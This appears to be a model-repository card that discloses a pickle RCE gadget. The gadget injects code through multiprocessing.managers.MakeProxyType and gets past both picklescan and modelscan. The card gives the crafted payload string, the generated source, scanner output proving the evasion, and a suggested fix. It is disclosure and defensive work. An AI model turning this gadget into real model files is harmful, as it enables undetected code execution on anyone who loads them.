YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Dual-scanner pickle RCE gadget: multiprocessing.managers.MakeProxyType
Class: Model File Vulnerability / scanner evasion (pickle deserialization RCE)
Affected scanners bypassed: picklescan 1.0.5 AND modelscan 0.8.8 (both scan CLEAN)
Primitive: single-REDUCE arbitrary command execution via a dangerous stdlib
global that is on neither scanner's unsafe-globals blocklist.
Summary
multiprocessing.managers.MakeProxyType(name, exposed) builds a proxy class by
interpolating every element of exposed (nominally "method names") raw into
an exec() template using %s:
for meth in exposed:
exec('''def %s(self, /, *args, **kwds):
return self._callmethod(%r, args, kwds)''' % (meth, meth), dic)
The first %s substitution places meth unescaped immediately after def . A
crafted "method name" containing newlines closes that def and injects
arbitrary top-level statements that execute the moment exec() runs. Because
MakeProxyType is a plain module-level callable, a single pickle
GLOBAL multiprocessing.managers MakeProxyType + args tuple + REDUCE triggers
arbitrary code execution during pickle.load.
Neither picklescan nor modelscan lists multiprocessing (or any submodule) in
its unsafe-globals map, so both tools report the file as clean.
The gadget
Reduce: MakeProxyType('EvilProxy', [MID]) where
MID = 'f():\n pass\nimport os\nos.system("touch /tmp/PWNED_MPTYPE_PICKLE")\ndef g'
The generated source becomes:
def f():
pass
import os
os.system("touch /tmp/PWNED_MPTYPE_PICKLE") # <-- runs at exec() time
def g(self, /, *args, **kwds):
return self._callmethod('f():\n ...', args, kwds)
Verification (current released versions)
$ picklescan -p model.pkl # picklescan 1.0.5
Infected files: 0
Suspicious globals: 1 # identical bucket a benign `dict` pickle lands in
Dangerous globals: 0 # <-- NOT flagged
exit=0
$ modelscan -p model.pkl # modelscan 0.8.8
No issues found! π
total_issues: 0
$ python -c "import pickle; pickle.load(open('model.pkl','rb'))"
$ ls /tmp/PWNED_MPTYPE_PICKLE
/tmp/PWNED_MPTYPE_PICKLE # *** RCE ***
Confirmed executing on Python 3.12 (scan venv) and Python 3.13.
Benign control
benign.pkl (dict([('a',1)])) yields the same picklescan verdict
(Suspicious globals: 1, Dangerous globals: 0, exit 0) β demonstrating that
picklescan applies no danger classification to the malicious global and treats
this RCE gadget identically to a harmless builtin.
Files
model.pklβ the malicious gadget (payload:touch /tmp/PWNED_MPTYPE_PICKLE)benign.pklβ benign controlbuild_poc.pyβ regenerates both picklesscan_evidence.txtβ raw picklescan + modelscan output
Fix
Add multiprocessing/multiprocessing.managers (MakeProxyType) to both
scanners' unsafe-globals maps; upstream, MakeProxyType should validate that
each exposed entry is a valid identifier before interpolating it into exec.